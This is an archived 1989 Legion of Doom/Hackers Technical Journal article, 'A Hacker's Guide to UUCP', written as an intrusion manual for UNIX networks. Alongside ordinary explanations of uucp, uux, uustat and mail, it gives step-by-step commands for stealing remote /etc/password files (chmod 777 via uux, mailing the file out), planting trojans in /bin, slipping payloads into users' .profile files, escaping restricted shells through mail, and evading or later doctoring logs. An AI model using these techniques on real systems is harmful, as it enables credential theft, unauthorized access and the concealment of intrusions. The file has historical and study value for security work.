home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacker Chronicles 1
/
HACKER1.ISO
/
miscpub1
/
lodtj4.5
< prev
next >
Wrap
Text File
|
1992-09-26
|
28KB
|
563 lines
The LOD/H Technical Journal, Issue #4: File 05 of 10
=====================================================
|| ||
|| A Hacker's Guide to UUCP ||
|| ||
|| by ||
|| ||
|| The Mentor ||
|| ||
|| Legion of Doom/Hackers ||
|| ||
|| 08/04/89 ||
|| ||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scope
~~~~~
Part I of this file is intended for the casual hacker- someone
familiar with UNIX commands, but who hasn't had extended experience
with the UUCP network. Part II will be intended for the advanced
hacker who has the confidence and knowledge to go out and modify
a UNIX network- the logs, the paths, the permissions, etc...
Introduction
~~~~~~~~~~~~
Like it or not, UNIX is the most popular operating system in the
world. As a hacker, you are likely to run into several hundred
UNIX machines over the course of your hacking career. Knowing how
to move around and use the UNIX environment should be considered
absolutely essential, especially since UNIX is the operating system
of choice among phone company computers.
This article is not an attempt to teach you how to use UNIX.
If you don't know what a '$ls -x > dir' does, you need to put this
article in your archives, get a good basic file on UNIX (or buy a
book on it- there are several good ones out ((see the Bibliography
at the end of this file for suggestions))), read it, and then play
around some in a UNIX machine. Please! If you have managed to
stumble into a Bell system, do *not* use it as a machine to learn
UNIX on! You *will* get noticed by security, and this will lead
not only to the security being tightened, but may well lead to Bell
Security going through your underwear drawer.
The information in this article is mainly concerning AT&T System
V UNIX. I have included BSD 4.3 & Xenix information also in cases
that I was able to determine alternate procedures. All information
has been thoroughly tested and researched on as many machines as
possible. Standard disclaimer, your system may be slightly
different.
Glossary & Usage
~~~~~~~~~~~~~~~~
BNU - Basic Networking Utilities. System V.3's uucp package.
daemon - A program running in the background.
LAN - Local Area Network.
network - A group of machines set up to exchange information and/or
resources.
node - A terminating machine on a network.
UUCP - When capitalized, refers to the UNIX networking utilities
package.
uucp - In lower case, refers to the program Unix-to-Unix-CoPy.
I. General Information
~~~~~~~~~~~~~~~~~~~
A. What is UUCP?
UUCP is a networking facility for the UNIX operating system.
It is made up of a number of different programs that allow UNIX
machines to talk to each other. Using UUCP, you can access a
remote machine to copy files, execute commands, use resources, or
send mail. You can dial out to other non-UNIX computers, and you
can access public mail/news networks such as USENET.
B. History of UUCP
The first UUCP system was built in 1976 by Mike Lest at AT&T
Bell Labs. This system became so popular that a second version was
developed by Lesk, David Nowitz, and Greg Chesson. Version 2 UUCP
was distributed with UNIX Version 7.
With System V Release 3, a new version of UUCP that was
developed in 1983 by Peter Honeyman, David A. Nowitz, and Brian E.
Redman. This version is known as either HoneyDanBer UUCP (from the
last names of the developers), or more conventionally as Basic
Networking Utilities (BNU). I will stick with BNU, as it is easier
to type. BNU is backward compatible with Version 2, so there is
no problem communicating between the two.
BSD 4.3's UUCP release incorporates some of the BNU features,
but retains more similarity to Version 2 UUCP.
If you are unsure about which version of UUCP is on the system
that you are in, do a directory of /usr/lib/uucp and look at the
files. If you have a file called L.sys, you are in a Version 2
system. If there is a file called Systems, then it's BNU. See
Table 1 for a fairly complete listing of what system runs what UUCP
version.
Table 1*
~~~~~~~
Manufacturer Model UNIX/UUCP Version
_____________________________________________________________
| | | |
| Apollo | 3000 Series (Domain) | BSD 4.2/Version 2|
| Altos | All models | Xenix/Version 2 |
| AT&T | 3B1 (UNIX PC) | System V.2/Vers.2|
| AT&T | 3B2 | System V.3/BNU |
| AT&T | 3B15 | System V.3/BNU |
| Convergent | Miniframe (CTIX) | System V.2/Vers.2|
| Technologies | Mightframe (CTIX) | System V.3/BNU |
| DEC | MicroVAX | Ultrix/Vers. 2 + |
| DEC | VAX | BSD 4.3/Vers. 2 +|
| Encore | Multimax | System V.3/BNU |
| IBM | PC-RT (AIX) | System V.2/Vers.2|
| Masscomp | MC-5000 Series | System V.3/BNU |
| Microport | PC/AT | System V.2/Vers.2|
| NCR | Tower 32/16 | System V.2/Vers.2|
| Prime | EXL Series | System V.2/Vers.2|
| Pyramid | 90x | BSD 4.2/Version 2|
| SCO/Xenix | PC/XT | System V.2/Vers.2|
| Unisys | 5000 & 7000 Series | System V.2/Vers.2|
| | | |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This table is slightly outdated. Some of the systems may have
upgraded since this article was written.
II. UUCP Communications
~~~~~~~~~~~~~~~~~~~
A. Overview of UUCP User Programs
There are a number of programs that are used by a UUCP
communication network. Some are standard UNIX programs, others are
exclusively part of the UUCP package.
.................................................................
These three are standard UNIX commands:
mail- UNIX's mail facility can be used to send messages
to other systems on a UUCP network.
cu- Connects you to a remote machine and allows you to
be logged in simultaneously to both machines. Also
allows you execute commands on either machine
without dropping the link.
tip- (BSD) same as cu.
+++
There are five main programs within UUCP:
uucp- Does all the setup for a remote file transfer.
uucp creates files that describe the file transfer
(called 'work' files), then calls the uucico daemon
to do the actual work.
uux- Used to execute commands on a remote machine. uux
performs similar to uucp, except that commands are
processed instead of files.
uuname- Used to list the names of other systems that are
connected to your network.
uulog- Displays the uucp log for the specified machine.
I'll be showing how to cover your uucp tracks from
this later in the article.
uustat- Gets the status of uux requests. Also lets you
manipulate the contents of a UUCP queue.
+++
System V also has two additional programs:
uuto- Allows you to send files to another user similar
to the UNIX mail command.
uupick- Allows you to read files sent to you with uuto.
+++
BSD 4.3 has two additional programs:
uuq- Lets you view & manipulate UUCP jobs that are
waiting to be processed, similar to System V's
uupick program.
uusend- Lets you forward files through a string of systems.
..................................................................
III. Using the Programs
~~~~~~~~~~~~~~~~~~
A. uuname
This one is easy & friendly. All you do is type '$uuname'.
It will spit out a list of all systems on your network. If you
aren't sure about the name of your local system, invoke uuname with
the -l option. ($uuname -l).
B. mail
I'm not going to say to much about mail, as it isn't a program
that you will use much as a hacker except possibly to break out of
a shell. Sending mail to other people is not a good way to stay
hidden, as all mail transfer to remote systems is logged (no, they
may not read the mail, but they're likely to notice that the
unassigned ADMIN account is suddenly getting mail from all over the
world...) These logs can be modified, however. This will
be covered in Part II.
Briefly, mail is invoked with the command 'mail username' (or
mailx under some systems). If you wish to send mail to user john
on the system you're on, you would type:
mail john
Dear John-
This is mail. Enjoy it.
^D (usage note, this means control-D)
To send mail to a user on a remote system, or a string of
systems, you would use the ! key to indicate a remote system name.
If you were on node Alpha and wanted to send mail to john on node
Beta, you would address your mail to 'mail Beta!john'. If you
wanted to send mail to a user on system that's not connected to
yours, but *is* connected to a machine you are connected to, you
would string together the system names, separated by a !. For
example, if node Saturn was connected to Beta, but not to Alpha,
you could send mail to susan on Saturn with 'mail Beta!Saturn!susan'.
Please note- If you are running the C-Shell or Bourne Shell,
you will have to prefix the ! with a \. i.e. 'mail Beta\!Saturn\!susan'.
Also, the mail header displays the system name, return path, and account
name that you send mail from, so don't try to anonymously mail someone
a message- it won't work.
Another quick feature (this is under the 'basic unix
knowledge' category), if you want to mail a file named 'message'
to someone, you'd type the following - '$mail Beta!Saturn!susan <
message'.
Finally, as mentioned above, it may be possible to break out
of a restricted shell within mail. Simply send mail to yourself,
then when you enter mail to read the message, type !sh to exit from
mail into shell. This will often blow off the restricted shell.
C. File Transfer
One of the first things that you will want to do when you
discover that you're on a network (uuname, remember?) is to grab
a copy of the /etc/password file from the systems on the net then
run Shooting Shark's password hacking program from TJ Issue #2.
Even if you have no use for it now, save it & label it, you never
know when you might need to get into that system. Besides, when
printed, they make fun & interesting wallpaper.
Unfortunately, the /etc/ directory will sometimes have access
restricted. You can get around this by copying the /etc/password
file to the /usr/spool/uucppublic directory using the uux command
(see below). If the uux program has restrictions on in, then you
may have to actually hack into the remote system using the rlogin
command. Be persistent.
UUCP is also useful in that it allows you to send a file from
your system to a remote system. Got a nice little trojan you need
to insert on their system? Use UUCP to drop it into the /bin/
directory. Or if they protected the /bin/ directory (likely, if
they have half a brain), they might have forgotten to protect all
of the users private directories (i.e. /usr/mike or /usr/susan or
sometimes even /usr/admin). UUCP a copy of a .profile file to your
system, insert your own stuff in it, then UUCP it back to its
original directory where the user will access it the next time he
logs in. People rarely $cat their .profile file, so you can
usually get away with murder in them.
While uucp has some limitations, it has the advantage of being
present on every UUCP system in the world. If you're on a System
V, you will probably use uuto & uupick much more frequently, as
it's easier to do subtle hacks with them. But if uucp is all you
have, remember, you're a hacker. Show some ingenuity. The syntax
of uucp when sending a file is:
$uucp [options] <local source> <remote destination>
For example, you have a program sitting in your working
directory on node Alpha called 'stuff', and you want to plop it
into the /usr/spool/uucppublic/mike/ directory of node Beta. The
command would be '$uucp stuff Beta!/usr/spool/uucppublic/mike/'.
(Don't forget to add a slash in front of the exclamation point if
you're in C-Shell or Bourne!) A good thing to know that will save
you some typing is that the /usr/spool/uucppublic/ directory can
be abbreviated as ~/ (in KSH only), so that the above command could look
like '$uucp stuff Beta!~/mike/'. You can also specify a path other than
~/. If you wish to drop your 'new & improved' version of the
/etc/password file into the /etc/ directory, you could do a '$uucp
password Beta!/etc/'. Just don't be surprised if it gets bounced
with a message similar to the following:
From uucp Sat Dec 24 23:13:15 1988
Received: by Beta.UUCP (2.15/3.3)
id AA25032; Sat Dec 24 23:13:15 edt
Date: Sat Dec 24 23:13:15 edt
From: uucp
Apparently to: hacker
Status: R
file /etc/password, system Beta
remote access to path/file denied
Another hacker-friendly feature of UUCP is the ability to copy
something into a remote user's login directory by entering a ~
character before the username. For example, to dump a modified
.profile file into a user on Beta named alex, you would do the
following:
'$uucp .profile Beta!~alex'
The syntax for uucp when receiving a remote file is:
$uucp [options] <remote path> <local directory>
For example, you wish to grab Beta's password file and put it in
a subdirectory called tmp in the account 'hacker' on node Alpha.
The command would be:
'$uucp Beta!/etc/password Alpha!/usr/hacker/tmp/'.
The same things concerning use of tildes (~) demonstrated in
sending files applies when receiving them. The following table
contains valid options to the uucp command.
Table 2
~~~~~~~
_________________________________________________
| |
| -C Copy the local source file to the spool |
| directory before attempting the trans- |
| fer. |
| |
| -f If the directory doesn't exist, abort the |
| transfer. Normally uucp will create any |
| non-existent directories, which is bad |
| technique if you're a good hacker... |
| |
| -j Display the UUCP job request number. This |
| is useful if you're going to use uustat |
| to manipulate & reroute UUCP requests in |
| the queue. |
| |
| -m Notify sender by mail when copy is done. |
| Potentially hazardous, as incoming mail |
| is logged. Later on I'll show how to |
| modify that log... |
| |
| -n<username> Notify the user specified on |
| the remote system when the xfer is done. |
| I assume everyone sees how foolish this |
| would be, right? |
| |
| -r Queue the job, but do not contact remote |
| system immediately. Can't see any pros |
| or cons in using this one... |
| |
| -s<filename> Pipe the UUCP status messages |
| to filename. Useful if you wish to log |
| off & then check the progress later. |
| |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
D. Executing Remote Commands
The uux program allows users to execute a program on another
system on the network. While in theory this is the most useful
command a hacker can use, in practice it is usually heavily
restricted- any system administrator with half a brain realizes
that letting people execute any command they like from across the
country is not the way to maintain system integrity.
There are, however, some useful things that can be done with
uux even if the sysadmin has protected the things that *he* thinks
are dangerous (remember, he's not a hacker, you are. You are
smarter, more persistent, and much cleverer than he is. He doesn't
like coming to work every day, can't wait to leave, and will do the
minimum possible to get by. You're different. You're dedicated &
tricky. You *like* what you're doing. If you don't, get the hell
out & let others who do take over. End of the pep talk.)
The format for the uux command is:
$uux [options] command-string.
See Table 3 below for a list of options.
Ok, ideal case. The System manager of Beta is an idiot who
has left all possible commands open, and the uucico daemon has root
privs. Let's say you want to alter the protection of the password
file, copy it into the ~/ (public, remember?) directory, then copy
it over to your system. The sequence of commands would be:
$uux Beta!chmod 777 /etc/password
$uux Beta!cp /etc/password /usr/spool/uucppublic/info.txt
$uucp Beta!~/info.txt /usr/hacker/
The first line would modify the protection where anyone could
get to it, the second line would copy it into the ~/ directory, and
the third line would send it along to you.
Unfortunately, most commands are disabled (useful ones like
chmod and cat and ls, at least.) But sometimes you can get around
that. For instance, often you might not be able to ls or cp the
password file. But very rarely will mail be disabled. So if you
wanted a copy of the password file, you have them mail you one:
$uux Beta!mail Alpha!hacker < /etc/password
Later in the UUCP Administration section, I'll explain how to
modify the remote system so any command you want is executable.
When you execute a remote command, UUCP will automatically
send you mail telling you how it went. It's a good idea to check
the logs and see if there's anything you need to remove to cover
your presence (this subject will be covered in Part II).
If you are executing a command that is going to need data from
a file, you specify that the file is on your local system by
prefacing it with a \!. I can't think of many reasons to use this,
but perhaps you can. As an example, let's say you wanted to print
a file in your directory called 'stuff' out on a remote laser
printer (bad hacking practice, and difficult to retrieve.) Do this:
$uux Beta!lp -dlaser \!stuff
If the command you want to execute (whodo in this example) is
forbidden, you will get a notification message similar to the
following:
From uucp Sat Dec 24 23:12:15 EDT 1988
>From uucp Sat Dec 24 23:12:13 EDT 1988 remote from Beta
Status: R0
uuxqt cmd (whodo) status (DENIED)
If you are going to need the standard output for a command,
pipe it into ~/. And any files or processes created by uux will
belong to the user uucp, not to you.
Table 3
~~~~~~~
__________________________________________________________
| |
| -a<username> Notify user username when completed. |
| |
| -b Print the Standard Input when the exit status |
| indicates an error. |
| |
| -c Do not copy files to the spool directory (I |
| recommend this one...too big a chance of someone |
| glancing in the spool dir. |
| |
| -g<char or num> Sets the priority of the transfer. |
| The lower alphabetically or numerically that |
| the char or num is, the faster the process will |
| be executed. i.e. -ga or -g2 will go faster |
| than -gr or -g8. |
| |
| -j Print the UUCP job number. Useful if you're |
| going to be playing with the queue. |
| |
| -I (BSD Only) Make a link from the original file to |
| the spool dir. I'm not sure what this is for. |
| |
| -L (BSD Only) Start up the uucico daemon. |
| |
| -n Don't notify by mail. Recommended if you don't |
| have the authority or knowledge to modify the |
| system mail logs. |
| |
| -p Use Standard Input |
| |
| -r Queue the job but don't start uucico. |
| |
| -s<filename> Send transfer status to file filename. |
| |
| -x<0..9> Set level of debugging information. |
| |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
E. uustat & uulog
These two programs are used to track UUCP jobs and examine
their status.
uustat prints out a one-line summary for each job, telling you
if the job is finished or the job is queued. Older versions of
uustat will have the job state as either JOB DELETED or JOB IS
QUEUED. The output of uustat will look like the following:
$uustat
1001 hacker Alpha 10/31-09:45 10/31-10:15 JOB IS QUEUED
1002 hacker Alpha 10/30-08:15 10/30-11:25 COPY FINISHED
| | | | | |
| | | | | |
job # user node start-time status-time job-status
See Table 4 for a list of options for the uustat command.
uulog is a more thorough version of uustat, as it tracks the
status messages logged by the system as your job proceeded through
the system. See Table 5 for options of the uulog command.
Table 4*
~~~~~~~
_________________________________________________
| |
| -a report all queued jobs. |
| |
| -k<job#> kill job # job#. |
| |
| -m report if another system is accessible. |
| |
| -q report the number of jobs queued for |
| all systems on the net. |
| |
| -s<system> report the status of jobs for |
| the system named systemname. |
| |
| -u<username> report the status of jobs for |
| user username. |
| |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* There are several other options such as -o and
-y that are system specific, and aren't really
that useful to begin with.
Table 5
~~~~~~~
______________________________
| |
| -s<system> same as uustat |
| |
| -u<userid> same as uustat |
| |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
******************************************************************
This marks the end of Part I. If time permits a Part II will be in
the next LOD/H Technical Journal.
(c) 1989 The Mentor
Legion of Doom/Legion of Hacker
******************************************************************
Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
